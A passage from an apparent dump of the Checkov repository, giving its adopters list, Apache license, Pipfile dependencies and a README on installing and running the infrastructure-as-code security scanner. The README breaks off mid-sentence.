    "content": "# Who uses checkov?\n\nAs the checkov community grows, we'd like to keep track of who is using the OSS tool. \nPlease send a PR with your company name and @githubhandle.\n\n## Currently, officially using Checkov:\n\n1. [Nationwide Building Society](https://www.nationwide.co.uk/) [[@njgibbon](https://github.com/njgibbon)]\n1. [globaldatanet](https://globaldatanet.com/) [[@gruebel](https://github.com/gruebel)]\n1. [Steamhaus](https://www.steamhaus.co.uk/) [[@bilco105](https://github.com/bilco105)]\n1. [Jim Smith](https://www.linkedin.com/in/mr-j-smith/) [[@jimsmith](https://github.com/jimsmith)]\n1. [Chaser Systems](https://chasersystems.com/) [[@new23d](https://github.com/new23d)]\n1. [Palo Alto Networks](https://www.paloaltonetworks.com/) [[@jameswoolfenden](https://github.com/JamesWoolfenden)]\n1. [Appvia](https://www.appvia.io/) [[@abdelhegazi](https://github.com/abdelhegazi)]\n1. [Square](https://squareup.com/) [[@ac-square](https://github.com/ac-square), [@santoshankr](https://github.com/santoshankr)]\n1. [Madhu Akula](https://madhuakula.com/) [[@madhuakula](https://github.com/madhuakula)]\n1. [Royal Vopak N.V.](https://vopak.com/) [[@xmariopereira](https://github.com/xmariopereira)]\n1. [Punk Security (UK)](https://punksecurity.co.uk/) [[@punksecurity](https://github.com/punk-security)]\n"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright 2019 Palo Alto Networks\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "Pipfile",
    "content": "[[source]]\nname = \"pypi\"\nurl = \"https://pypi.org/simple\"\nverify_ssl = true\n\n[dev-packages]\npytest = \"<8.0.0\"\npytest-xdist = \"*\"\npytest-asyncio = \"*\"\npytest-cov = \"*\"\npytest-mock = \"*\"\npytest-benchmark = \"*\"\nexceptiongroup = {version = \"*\", markers=\"python_version < '3.11'\"}\ncoverage =\"==7.6.1\"\ncoverage-badge = \"*\"\nbandit = \"*\"\nurllib3-mock = \"*\"\njsonschema = \"*\"\nimportlib-resources = \">=1.3\"\nresponses = \"*\"\naioresponses = \"*\"\ntypes-cachetools = \">=5.2.0,<6.0.0\"\ntypes-jmespath = \">=1.0.0,<2.0.0\"\ntypes-jsonschema = \">=4.17.0,<5.0.0\"\ntypes-pyyaml = \">=6.0.0,<7.0.0\"\ntypes-requests = \">=2.28.0,<3.0.0\"\ntypes-tabulate = \">=0.9.0,<0.10.0\"\ntypes-tqdm = \">=4.65.0,<5.0.0\"\ntypes-urllib3 = \"*\"\npre-commit = \"*\"\nflake8 = \"*\"\ndlint = \"*\"\nmypy = \"*\"\nflake8-bugbear = \"*\"\nparameterized = \"*\"\ntime-machine = \"*\"\nboto3-stubs-lite = {extras = [\"s3\"], version = \"*\"}\ntypes-colorama = \"<0.5.0,>=0.4.3\"\ntomli = \"*\"\nsetuptools = \"==78.1.1\"\niniconfig = \"*\"\n\n[packages]\nbc-jsonpath-ng = \"==1.6.1\"\npycep-parser = \"==0.5.1\"\ntabulate = \">=0.9.0,<0.10.0\"\ncolorama = \">=0.4.3,<0.5.0\"\ntermcolor=\">=1.1.0,<2.4.0\"\njunit-xml = \">=1.9,<2.0\"\ndpath = \"==2.1.3\"\npyyaml = \">=6.0.0,<7.0.0\"\nboto3 = \"==1.35.49\"\ngitpython = \">=3.1.30,<4.0.0\"\njmespath = \">=1.0.0,<2.0.0\"\ntqdm = \">=4.65.0,<5.0.0\"\npackaging = \">=23.0,<24.0\"\ncloudsplaining = \">=0.7.0,<0.8.0\"\nnetworkx = \"<2.7\"\ndockerfile-parse =\">=2.0.0,<3.0.0\"\ndocker = \">=6.0.1,<8.0.0\"\nconfigargparse = \">=1.5.3,<2.0.0\"\nargcomplete = \">=3.0.0,<4.0.0\"\ntyping-extensions = \">=4.5.0,<5.0.0\"\nimportlib-metadata = \">=6.0.0,<8.0.0\"\ncachetools = \">=5.2.0,<6.0.0\"\ncyclonedx-python-lib = \">=6.0.0,<8.0.0\"\npackageurl-python = \">=0.11.1,<0.14.0\"\nclick = \">=8.1.0,<9.0.0\"\naiohttp = \">=3.8.0,<4.0.0\"\naiodns = \">=3.0.0,<4.0.0\"\naiomultiprocess = \">=0.9.0,<0.10.0\"\nschema = \"<=0.7.5\"\njsonschema = \">=4.17.0,<5.0.0\"\nprettytable = \">=3.6.0,<4.0.0\"\ncharset-normalizer = \">=3.1.0,<4.0.0\"\npyston-autoload = {version = \"==2.3.5\", markers=\"python_version < '3.11' and (sys_platform == 'linux' or sys_platform == 'darwin') and platform_machine == 'x86_64' and implementation_name == 'cpython'\", index=\"pypi\"}\npyston = {version = \"==2.3.5\", markers=\"python_version < '3.11' and (sys_platform == 'linux' or sys_platform == 'darwin') and platform_machine == 'x86_64' and implementation_name == 'cpython'\", index=\"pypi\"}\nrequests = \">=2.28.0,<3.0.0\"\nyarl = \">=1.9.1,<2.0.0\"\nspdx-tools = \">=0.8.0,<0.9.0\"\nlicense-expression = \">=30.1.0,<31.0.0\"\nrustworkx = \">=0.13.0,<1.0.0\"\npydantic = \">=2.0.0,<3.0.0\"\nasteval = \"==1.0.6\"\nbc-detect-secrets = \"==1.5.47\"\nurllib3 = \">=1.26.20\"\nbc-python-hcl2 = \"==0.4.3\"\n\n[requires]\npython_version = \"3.9\"\n"
  },
  {
    "path": "README.md",
    "content": "[![checkov](https://raw.githubusercontent.com/bridgecrewio/checkov/main/docs/web/images/checkov_blue_logo.png)](#)\n       \n[![Maintained by Prisma Cloud](https://img.shields.io/badge/maintained_by-Prisma_Cloud-blue)](https://prismacloud.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov)\n[![build status](https://github.com/bridgecrewio/checkov/workflows/build/badge.svg)](https://github.com/bridgecrewio/checkov/actions?query=workflow%3Abuild)\n[![security status](https://github.com/bridgecrewio/checkov/workflows/security/badge.svg)](https://github.com/bridgecrewio/checkov/actions?query=event%3Apush+branch%3Amaster+workflow%3Asecurity)\n[![code_coverage](https://raw.githubusercontent.com/bridgecrewio/checkov/main/coverage.svg?sanitize=true)](https://github.com/bridgecrewio/checkov/actions?query=workflow%3Acoverage)\n[![docs](https://img.shields.io/badge/docs-passing-brightgreen)](https://www.checkov.io/1.Welcome/What%20is%20Checkov.html?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov)\n[![PyPI](https://img.shields.io/pypi/v/checkov)](https://pypi.org/project/checkov/)\n[![Python Version](https://img.shields.io/pypi/pyversions/checkov)](#)\n[![Terraform Version](https://img.shields.io/badge/tf-%3E%3D0.12.0-blue.svg)](#)\n[![Downloads](https://static.pepy.tech/badge/checkov)](https://pepy.tech/project/checkov)\n[![Docker Pulls](https://img.shields.io/docker/pulls/bridgecrew/checkov.svg)](https://hub.docker.com/r/bridgecrew/checkov)\n[![slack-community](https://img.shields.io/badge/Slack-4A154B?style=plastic&logo=slack&logoColor=white)](https://codifiedsecurity.slack.com/)\n\n\n**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.\n\nIt scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md),  [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.\n\nIt performs [Software Composition Analysis (SCA) scanning](docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).\n \nCheckov also powers [**Prisma Cloud Application Security**](https://www.prismacloud.io/prisma/cloud/cloud-code-security/?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov), the developer-first platform that codifies and streamlines cloud security throughout the development lifecycle. Prisma Cloud identifies, fixes, and prevents misconfigurations in cloud resources and infrastructure-as-code files. \n\n<a href=\"https://www.prismacloud.io/prisma/request-a-prisma-cloud-trial/?utm_campaign=checkov-github-repo&utm_source=github.com&utm_medium=get-started-button\" title=\"Try_Prisma_Cloud\">\n    <img src=\"https://dabuttonfactory.com/button.png?t=Try+Prisma+Cloud&f=Open+Sans-Bold&ts=26&tc=fff&hp=45&vp=20&c=round&bgt=unicolored&bgc=00c0e8\" align=\"right\" width=\"120\">\n</a>\n\n\n<a href=\"https://docs.prismacloud.io/en/enterprise-edition/use-cases/secure-the-source/secure-the-source\" title=\"Docs\">\n    <img src=\"https://dabuttonfactory.com/button.png?t=Read+the+Docs&f=Open+Sans-Bold&ts=26&tc=fff&hp=45&vp=20&c=round&bgt=unicolored&bgc=00c0e8\" align=\"right\" width=\"120\">\n</a>\n\n## **Table of contents**\n\n- [Features](#features)\n- [Screenshots](#screenshots)\n- [Getting Started](#getting-started)\n- [Disclaimer](#disclaimer)\n- [Support](#support)\n- [Migration - v2 to v3](https://github.com/bridgecrewio/checkov/blob/main/docs/1.Welcome/Migration.md)\n\n ## Features\n\n * [Over 1000 built-in policies](https://github.com/bridgecrewio/checkov/blob/main/docs/5.Policy%20Index/all.md) cover security and compliance best practices for AWS, Azure and Google Cloud.\n * Scans Terraform, Terraform Plan, Terraform JSON, CloudFormation, AWS SAM, Kubernetes, Helm, Kustomize, Dockerfile, Serverless framework, Ansible, Bicep, ARM, and OpenTofu template files.\n * Scans Argo Workflows, Azure Pipelines, BitBucket Pipelines, Circle CI Pipelines, GitHub Actions and GitLab CI workflow files\n * Supports Context-awareness policies based on in-memory graph-based scanning.\n * Supports Python format for attribute policies and YAML format for both attribute and composite policies.\n * Detects [AWS credentials](https://github.com/bridgecrewio/checkov/blob/main/docs/2.Basics/Scanning%20Credentials%20and%20Secrets.md) in EC2 Userdata, Lambda environment variables and Terraform providers.\n * [Identifies secrets](https://www.prismacloud.io/prisma/cloud/secrets-security) using regular expressions, keywords, and entropy based detection.\n * Evaluates [Terraform Provider](https://registry.terraform.io/browse/providers) settings to regulate the creation, management, and updates of IaaS, PaaS or SaaS managed through Terraform.\n * Policies support evaluation of [variables](https://github.com/bridgecrewio/checkov/blob/main/docs/2.Basics/Handling%20Variables.md) to their optional default value.\n * Supports in-line [suppression](https://github.com/bridgecrewio/checkov/blob/main/docs/2.Basics/Suppressing%20and%20Skipping%20Policies.md) of accepted risks or false-positives to reduce recurring scan failures. Also supports global skip from using CLI.\n * [Output](https://github.com/bridgecrewio/checkov/blob/main/docs/2.Basics/Reviewing%20Scan%20Results.md) currently available as CLI, [CycloneDX](https://cyclonedx.org), JSON, JUnit XML, CSV, SARIF and github markdown and link to remediation [guides](https://docs.prismacloud.io/en/enterprise-edition/policy-reference/).\n \n## Screenshots\n\nScan results in CLI\n\n![scan-screenshot](https://raw.githubusercontent.com/bridgecrewio/checkov/main/docs/checkov-recording.gif)\n\nScheduled scan result in Jenkins\n\n![jenikins-screenshot](https://raw.githubusercontent.com/bridgecrewio/checkov/main/docs/checkov-jenkins.png)\n\n## Getting started\n\n### Requirements\n * Python >= 3.9, <=3.12\n * Terraform >= 0.12\n\n### Installation\n\nTo install pip follow the official [docs](https://pip.pypa.io/en/stable/cli/pip_install/)\n\n```sh\npip3 install checkov\n```\n\nCertain environments (e.g., Debian 12) may require you to install Checkov in a virtual environment\n\n```sh\n# Create and activate a virtual environment\npython3 -m venv /path/to/venv/checkov\ncd /path/to/venv/checkov\nsource ./bin/activate\n\n# Install Checkov with pip\npip install checkov\n\n# Optional: Create a symlink for easy access\nsudo ln -s /path/to/venv/checkov/bin/checkov /usr/local/bin/checkov\n```\n\nor with [Homebrew](https://formulae.brew.sh/formula/checkov) (macOS or Linux)\n\n```sh\nbrew install checkov\n```\n\n### Enabling bash autocomplete\n```sh\nsource <(register-python-argcomplete checkov)\n```\n### Upgrade\n\nif you installed checkov with pip3\n```sh\npip3 install -U checkov\n```\n\nor with Homebrew\n\n```sh\nbrew upgrade checkov\n```\n\n### Configure an input folder or file\n\n```sh\ncheckov --directory /user/path/to/iac/code\n```\n\nOr a specific file or files\n\n```sh\ncheckov --file /user/tf/example.tf\n```\nOr\n```sh\ncheckov -f /user/cloudformation/example1.yml -f /user/cloudformation/example2.yml\n```\n\nOr a terraform plan file in json format\n```sh\nterraform init\nterraform plan -out tf.plan\nterraform show -json tf.plan  > tf.json\ncheckov -f tf.json\n```\n\nNote: `terraform show` output file `tf.json` will be a single line. \nFor that reason all findings will be reported line number 0 by Checkov\n\n\n```sh\ncheck: CKV_AWS_21: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n\tFAILED for resource: aws_s3_bucket.customer\n\tFile: /tf/tf.json:0-0\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning\n  ```\n\nIf you have installed `jq` you can convert json file into multiple lines with the following command:\n```sh\nterraform show -json tf.plan | jq '.' > tf.json\n```\nScan result would be much user friendly.\n```sh\ncheckov -f tf.json\nCheck: CKV_AWS_21: \"Ensure all data stored in the S3 bucket have versioning enabled\"\n\tFAILED for resource: aws_s3_bucket.customer\n\tFile: /tf/tf1.json:224-268\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-16-enable-versioning\n\n\t\t225 |               \"values\": {\n\t\t226 |                 \"acceleration_status\": \"\",\n\t\t227 |                 \"acl\": \"private\",\n\t\t228 |                 \"arn\": \"arn:aws:s3:::mybucket\",\n\n```\n\nAlternatively, specify the repo root of the hcl files used to generate the plan file, using the `--repo-root-for-plan-enrichment` flag, to enrich the output with the appropriate file path, line numbers, and codeblock of the resource(s). An added benefit is that check suppressions will be handled accordingly.\n```sh\ncheckov -f tf.json --repo-root-for-plan-enrichment /user/path/to/iac/code\n```\n\n\n### Scan result sample (CLI)\n\n```sh\nPassed Checks: 1, Failed Checks: 1, Suppressed Checks: 0\nCheck: \"Ensure all data stored in the S3 bucket is securely encrypted at rest\"\n/main.tf:\n\t Passed for resource: aws_s3_bucket.template_bucket\nCheck: \"Ensure all data stored in the S3 bucket is securely encrypted at rest\"\n/../regionStack/main.tf:\n\t Failed for resource: aws_s3_bucket.sls_deployment_bucket_name\n```\n\nStart using Checkov by reading the [Getting Started](https://github.com/bridgecrewio/checkov/blob/main/docs/1.Welcome/Quick%20Start.md) page.\n\n### Using Docker\n\n\n```sh\ndocker pull bridgecrew/checkov\ndocker run --tty --rm --volume /user/tf:/tf --workdir /tf bridgecrew/checkov --directory /tf\n```\nNote: if you are using Python 3.6(Default version in Ubuntu 18.04) checkov will not work, and it will fail with `ModuleNotFoundError: No module named 'dataclasses'`  error message. In this case, you can use the docker version instead.\n\nNote that there are certain cases where redirecting `docker run --tty` output to a file - for example, if you want to save the Checkov JUnit output to a file - will cause extra control characters to be printed. This can break file parsing. If you encounter this, remove the `--tty` flag.\n\nThe `--workdir /tf` flag is optional to change the working directory to the mounted volume. If you are using the SARIF output `-o sarif` this will output the results.sarif file to the mounted volume (`/user/tf` in the example above). If you do not include that flag, the working directory will be \"/\".\n\n### Running or skipping checks\n\nBy using command line flags, you can specify to run only named checks (allow list) or run all checks except\nthose listed (deny list). If you are using the platform integration via API key, you can also specify a severity threshold to skip and / or include.\nMoreover, as json files can't contain comments, one can pass regex pattern to skip json file secret scan.\n\nSee the docs for more detailed information about how these flags work together.\n\n\n## Examples\n\nAllow only the two specified checks to run:\n```sh\ncheckov --directory . --check CKV_AWS_20,CKV_AWS_57\n```\n\nRun all checks except the one specified:\n```sh\ncheckov -d . --skip-check CKV_AWS_20\n```\n\nRun all checks except checks with specified patterns:\n```sh\ncheckov -d . --skip-check CKV_AWS*\n```\n\nRun all checks that are MEDIUM severity or higher (requires API key):\n```sh\ncheckov -d . --check MEDIUM --bc-api-key ...\n```\n\nRun all checks that are MEDIUM severity or higher, as well as check CKV_123 (assume this is a LOW severity check):\n```sh\ncheckov -d . --check MEDIUM,CKV_123 --bc-api-key ...\n```\n\nSkip all checks that are MEDIUM severity or lower:\n```sh\ncheckov -d . --skip-check MEDIUM --bc-api-key ...\n```\n\nSkip all checks that are MEDIUM severity or lower, as well as check CKV_789 (assume this is a high severity check):\n```sh\ncheckov -d . --skip-check MEDIUM,CKV_789 --bc-api-key ...\n```\n\nRun all checks that are MEDIUM severity or higher, but skip check CKV_123 (assume this is a medium or higher severity check):\n```sh\ncheckov -d . --check MEDIUM --skip-check CKV_123 --bc-api-key ...\n```\n\nRun check CKV_789, but skip it if it is a medium severity (the --check logic is always applied before --skip-check)\n```sh\ncheckov -d . --skip-check MEDIUM --check CKV_789 --bc-api-key ...\n```\n\nFor Kubernetes workloads, you can also use allow/deny namespaces.  For example, do not report any results for the\nkube-system namespace:\n```sh\ncheckov -d . --skip-check kube-system\n```\n\nRun a scan of a container image. First pull or build the image then refer to it by the hash, ID, or name:tag:\n```sh\ncheckov --framework sca_image --docker-image sha256:1234example --dockerfile-path /Users/path/to/Dockerfile --repo-id ... --bc-api-key ...\n\ncheckov --docker-image <image-name>:tag --dockerfile-path /User/path/to/Dockerfile --repo-id ... --bc-api-key ...\n```\n\nYou can use --image flag also to scan container image instead of --docker-image for shortener:\n```sh\ncheckov --image <image-name>:tag --dockerfile-path /User/path/to/Dockerfile --repo-id ... --bc-api-key ...\n```\n\nRun an SCA scan of packages in a repo:\n```sh\ncheckov -d . --framework sca_package --bc-api-key ... --repo-id <repo_id(arbitrary)>\n```\n\nRun a scan of a directory with environment variables removing buffering, adding debug level logs:\n```sh\nPYTHONUNBUFFERED=1 LOG_LEVEL=DEBUG checkov -d .\n```\nOR enable the environment variables for multiple runs\n```sh\nexport PYTHONUNBUFFERED=1 LOG_LEVEL=DEBUG\ncheckov -d .\n```\n\nRun secrets scanning on all files in MyDirectory. Skip CKV_SECRET_6 check on json files that their suffix is DontScan\n```sh\ncheckov -d /MyDirectory --framework secrets --repo-id ... --bc-api-key ... --skip-check CKV_SECRET_6:.*DontScan.json$\n```\n\nRun secrets scanning on all files in MyDirectory. Skip CKV_SECRET_6 check on json files that contains \"skip_test\" in path\n```sh\ncheckov -d /MyDirectory --framework secrets --repo-id ... --bc-api-key ... --skip-check CKV_SECRET_6:.*skip_test.*json$\n```\n\nOne can mask values from scanning results by supplying a configuration file (using --config-file flag) with mask entry.\nThe masking can apply on resource & value (or multiple values, separated with a comma).\nExamples:\n```sh\nmask:\n- aws_instance:user_data\n- azurerm_key_vault_secret:admin_password,user_passwords\n```\nIn the example above, the following values will be masked:\n- user_data for aws_instance resource\n- both admin_password &user_passwords for azurerm_key_vault_secret\n\n\n### Suppressing/Ignoring a check\n\nLike any static-analysis tool it is limited by its analysis scope.\nFor example, if a resource is managed manually, or using subsequent configuration management tooling,\nsuppression can be inserted as a simple code annotation.\n\n#### Suppression comment format\n\nTo skip a check on a given Terraform definition block or CloudFormation resource, apply the following comment pattern inside it's scope:\n\n`checkov:skip=<check_id>:<suppression_comment>`\n\n* `<check_id>` is one of the [available check scanners](docs/5.Policy Index/all.md)\n* `<suppression_comment>` is an optional suppression reason to be included in the output\n\n#### Example\n\nThe following comment skips the `CKV_AWS_20` check on the resource identified by `foo-bucket`, where the scan checks if an AWS S3 bucket is private.\nIn the example, the bucket is configured with public read access; Adding the suppress comment would skip the appropriate check instead of the check to fail.\n\n```hcl-terraform\nresource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n    #checkov:skip=CKV_AWS_20:The bucket is a public static content host\n  bucket        = local.bucket_name\n  force_destroy = true\n  acl           = \"public-read\"\n}\n```\n\nThe output would now contain a ``SKIPPED`` check result entry:\n\n```bash\n...\n...\nCheck: \"S3 Bucket has an ACL defined which allows public access.\"\n\tSKIPPED for resource: aws_s3_bucket.foo-bucket\n\tSuppress comment: The bucket is a public static content host\n\tFile: /example_skip_acl.tf:1-25\n\n...\n```\nTo skip multiple checks, add each as a new line.\n\n```\n  #checkov:skip=CKV2_AWS_6\n  #checkov:skip=CKV_AWS_20:The bucket is a public static content host\n```\n\nTo suppress checks in Kubernetes manifests, annotations are used with the following format:\n`checkov.io/skip#: <check_id>=<suppression_comment>`\n\nFor example:\n\n```bash\napiVersion: v1\nkind: Pod\nmetadata:\n  name: mypod\n  annotations:\n    checkov.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation :-O\n    checkov.io/skip2: CKV_K8S_14\n    checkov.io/skip3: CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS\nspec:\n  containers:\n...\n```\n\n#### Logging\n\nFor detailed logging to stdout set up the environment variable `LOG_LEVEL` to `DEBUG`.\n\nDefault is `LOG_LEVEL=WARNING`.\n\n#### Skipping directories\nTo skip files or directories, use the argument `--skip-path`, which can be specified multiple times. This argument accepts regular expressions for paths relative to the current working directory. You can use it to skip entire directories and / or specific files.\n\nBy default, all directories named `node_modules`, `.terraform`, and `.serverless` will be skipped, in addition to any files or directories beginning with `.`.\nTo cancel skipping directories beginning with `.` override `CKV_IGNORE_HIDDEN_DIRECTORIES` environment variable `export CKV_IGNORE_HIDDEN_DIRECTORIES=false`\n\nYou can override the default set of directories to skip by setting the environment variable `CKV_IGNORED_DIRECTORIES`.\n Note that if you want to preserve this list and add to it, you must include these values. For example, `CKV_IGNORED_DIRECTORIES=mynewdir` will skip only that directory, but not the others mentioned above. This variable is legacy functionality; we recommend using the `--skip-file` flag.\n\n#### Console Output\n\nThe console output is in colour by default, to switch to a monochrome output, set the environment variable:\n`ANSI_COLORS_DISABLED`\n\n#### VS Code Extension\n\nIf you want to use Checkov within VS Code, give the 